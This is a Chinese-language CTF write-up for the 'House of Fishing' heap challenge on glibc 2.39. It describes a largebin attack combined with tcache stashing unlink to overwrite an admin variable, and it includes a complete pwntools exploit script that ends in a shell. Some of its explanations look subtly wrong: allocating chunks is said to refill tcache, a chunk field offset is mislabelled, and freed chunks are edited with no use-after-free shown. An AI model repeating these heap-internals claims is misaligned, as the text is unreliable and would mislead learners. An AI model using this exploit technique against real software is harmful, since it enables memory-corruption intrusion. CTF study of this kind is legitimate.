[原创]trx ctf 2026 house of fishing
字数 3016
更新时间 2026-05-10 16:50:59

TRX CTF 2026 House of Fishing 漏洞利用教学文档

一、背景与目标

本题为 TRX CTF 2026 堆题,核心目标是在无 show() 功能(无法泄露堆地址)的情况下,通过堆利用实现任意地址写,修改 *admin 为目标值(0xdeadbeefdeadcafe),触发 win() 函数执行 system("/bin/sh") 获取 shell
程序保护机制:Arch(amd64)、Full RELRO、Canary、NX、PIE、SHSTK、IBT(高版本 glibc 2.39-0ubuntu8.5,保护全开)。

二、程序核心逻辑分析

1. 功能接口

程序提供 5 个核心功能,无读内存(show())功能,常规堆利用(如修改 fd 污染 tcache)失效:

功能 函数 行为
创建 create() 按索引 idx 分配 size(16 字节对齐,<0x500)的 chunk,存储至 ptrs[idx]
更新 update() ptrs[idx] 写入 sizes[idx] 字节数据
删除 delete() 释放 ptrs[idx] 指向的 chunk
复制 copy() src 索引 chunk 数据复制到 dest 索引 chunk(长度取两者最小值)
触发后门 win() *admin == 0xdeadbeefdeadcafe,执行 system("/bin/sh")

2. 关键目标:admin 变量

win() 函数的核心校验条件为 *admin == 0xdeadbeefdeadcafeadmin 是全局变量(地址固定,如示例中 0x1337000),需通过堆利用实现任意地址写,将其指向的值修改为上述 magic 值。

三、核心攻击思路

show() 无法直接泄露堆地址,常规 tcache 污染(修改 fd)失效。需结合 largebin attacktcache stashing unlink 两种堆利用手法,实现“无泄露任意地址写”:

  1. largebin attack:向目标地址(admin + 8)写入有效堆地址,绕过 tcache stashing unlink 对 bk 指针的有效性检查。
  2. tcache stashing unlink:将目标地址(admin)伪装为 smallbin chunk,通过 stashing 机制将其放入 tcache,最终通过 malloc() 取出并修改为目标值。

四、攻击步骤详解

阶段 1:准备 Bins 结构(构造 smallbin 与 tcache)

目标:提前构建稳定的 smallbin 和 tcache,避免后续堆结构混乱。
操作代码:

# 1. 填充 tcache(7 个 0x90 大小的 chunk)
for i in range(7):
    malloc(i, 0x90)  # 申请 7 个 0x90 的 chunk(tcache 最大容量为 7)

# 2. 构建 smallbin(6 个 0x90 大小的 chunk)
for i in range(6):
    malloc(10 + i, 0x90)  # 申请 6 个 0x90 的 chunk(用于放入 smallbin)
malloc(20 + 1, 0x20)  # 申请 0x20 的 chunk,防止后续 free 时合并

# 3. 释放 chunk 填充 tcache 和 smallbin
for i in range(7):
    free(i)  # 释放前 7 个 0x90 chunk,填满 tcache
for i in range(6):
    free(10 + i)  # 释放 6 个 0x90 chunk,放入 smallbin

# 4. 触发 unsortedbin → smallbin 转移
malloc(30, 0x490)  # 申请大 chunk,将 unsortedbin 中的 0x90 chunk 放入 smallbin

结果:6 个 0x90 大小的 chunk 成功进入 smallbin,tcache 被填满(7 个 0x90 chunk)。

阶段 2:Largebin Attack(写入有效堆地址至目标地址)

目标:向 admin + 8 写入有效堆地址,确保后续 tcache stashing unlink 时 bk 指针有效。

原理

largebin 中的 chunk 按大小排序,其 bk 指针可被篡改。通过构造 fake chunk,利用 largebin 的插入逻辑,将目标地址(admin + 8)写入堆地址。

操作步骤

  1. 申请与释放 chunk 构建 largebin

    admin = 0x1337000  # admin 全局变量地址(示例)
    malloc(40, 0x420)  # p1(大小 0x420,属于 largebin)
    malloc(41, 0x400)  # 占位 chunk
    malloc(42, 0x410)  # p2(大小 0x410,属于 largebin)
    malloc(43, 0x400)  # 占位 chunk
    
    free(40)  # 释放 p1,进入 unsortedbin
    malloc(44, 0x430)  # 申请更大的 chunk,触发 unsortedbin → largebin 转移
    free(42)  # 释放 p2,进入 unsortedbin
    
  2. 篡改 largebin chunk 指针
    编辑已释放的 chunk(索引 40),构造 fake chunk 覆盖 bkfd 指针:

    payload = flat({
        0x08: admin - 0x10 + 0x100,  # fake chunk 的 bk 指向 admin + 0x100 - 0x10
        0x18: admin - 0x20 + 0x8     # fake chunk 的 fd 指向 admin + 0x8 - 0x20
    }, filler=b"\x00", length=0x420)
    edit(40, payload)  # 修改 chunk 40 的数据
    
  3. 触发 largebin attack
    申请新的 largebin chunk,触发 largebin 插入逻辑,将堆地址写入 admin + 8

    malloc(45, 0x430)  # 申请 chunk,触发 largebin 排序,写入堆地址至 admin + 8
    

    结果:admin + 8 处存储有效堆地址,绕过后续 tcache stashing unlink 的 bk 有效性检查。

阶段 3:Tcache Stashing Unlink(将目标地址放入 tcache)

目标:通过 tcache stashing unlink 机制,将 admin 地址伪装为 smallbin chunk 并放入 tcache。

原理

当 tcache 未满且有 smallbin chunk 时,malloc() 会从 smallbin 中取出 chunk 放入 tcache(stashing)。smallbin 的 bk 指针无 safe linking 保护,可直接篡改为 admin - 0x10(伪装为 chunk 头)。

操作步骤

  1. 重新填充 tcache

    for i in range(7):
        malloc(i, 0x90)  # 重新申请 7 个 0x90 chunk,填满 tcache(覆盖之前释放的)
    
  2. 篡改 smallbin chunk 的 bk 指针
    选择 smallbin 中的一个 chunk(如索引 15),修改其 bk 指针为 admin - 0x10(伪装为 chunk 头):

    payload = flat({
        0x08: admin - 0x10  # smallbin chunk 的 bk 指向 admin - 0x10(fake chunk 头)
    }, filler=b"\x00", length=0x90)
    edit(15, payload)  # 修改 chunk 15 的数据
    
  3. 触发 tcache stashing unlink
    申请 0x90 大小的 chunk,触发 stashing 机制,将 admin 地址放入 tcache:

    malloc(50, 0x90)  # 申请 chunk,触发 stashing,admin 地址进入 tcache
    malloc(51, 0x90)  # 继续申请,消耗 tcache 中的其他 chunk
    malloc(52, 0x90)  # 此时 tcache 中取出的是 admin 地址对应的 chunk
    

    结果:admin 地址被成功放入 tcache,可通过 malloc(52) 取出。

阶段 4:Getshell(修改 admin 指向的值为 magic 值)

目标:通过 update() 修改 admin 指向的内存值为 0xdeadbeefdeadcafe
操作代码:

payload = flat({
    0x00: 0xdeadbeefdeadcafe  # 目标 magic 值
}, filler=b"\x00", length=0x90)
edit(52, payload)  # 修改 admin 指向的值为 magic 值
menu(5)  # 调用 win() 函数,触发 system("/bin/sh")

结果:*admin == 0xdeadbeefdeadcafewin() 函数执行 system("/bin/sh"),成功获取 shell。

五、完整 Exploit 代码(Python + pwntools)

from pwn import *

context(arch='amd64', os='linux')
io = process('./house_of_fishing')

def malloc(idx, size):
    io.sendlineafter(b"choice: ", b"1")
    io.sendlineafter(b"index: ", str(idx).encode())
    io.sendlineafter(b"size: ", str(size).encode())

def edit(idx, data):
    io.sendlineafter(b"choice: ", b"2")
    io.sendlineafter(b"index: ", str(idx).encode())
    io.send(data)

def free(idx):
    io.sendlineafter(b"choice: ", b"3")
    io.sendlineafter(b"index: ", str(idx).encode())

def menu(choice):
    io.sendlineafter(b"choice: ", str(choice).encode())

# 阶段 1:准备 Bins
for i in range(7):
    malloc(i, 0x90)
for i in range(6):
    malloc(10 + i, 0x90)
malloc(20 + 1, 0x20)

for i in range(7):
    free(i)
for i in range(6):
    free(10 + i)
malloc(30, 0x490)

# 阶段 2:Largebin Attack
admin = 0x1337000
malloc(40, 0x420)
malloc(41, 0x400)
malloc(42, 0x410)
malloc(43, 0x400)

free(40)
malloc(44, 0x430)
free(42)

payload = flat({
    0x08: admin - 0x10 + 0x100,
    0x18: admin - 0x20 + 0x8
}, filler=b"\x00", length=0x420)
edit(40, payload)
malloc(45, 0x430)

# 阶段 3:Tcache Stashing Unlink
for i in range(7):
    malloc(i, 0x90)
payload = flat({
    0x08: admin - 0x10
}, filler=b"\x00", length=0x90)
edit(15, payload)

malloc(50, 0x90)
malloc(51, 0x90)
malloc(52, 0x90)

# 阶段 4:Getshell
payload = flat({
    0x00: 0xdeadbeefdeadcafe
}, filler=b"\x00", length=0x90)
edit(52, payload)
menu(5)

io.interactive()

六、关键技术点总结

  1. show() 的任意地址写:通过 largebin attack + tcache stashing unlink 组合,无需泄露堆地址即可实现任意地址写。
  2. Largebin Attack 作用:向目标地址写入有效堆地址,绕过 tcache stashing unlink 对 bk 指针的有效性检查。
  3. Tcache Stashing Unlink 关键:篡改 smallbin chunk 的 bk 指针为 admin - 0x10,利用其无 safe linking 保护的特性,将目标地址伪装为 chunk 放入 tcache。
  4. 高版本 glibc 适配:针对 glibc 2.39,需提前构造 bins 结构,避免堆合并导致的结构混乱。

七、参考资源

相似文章
相似文章
 全屏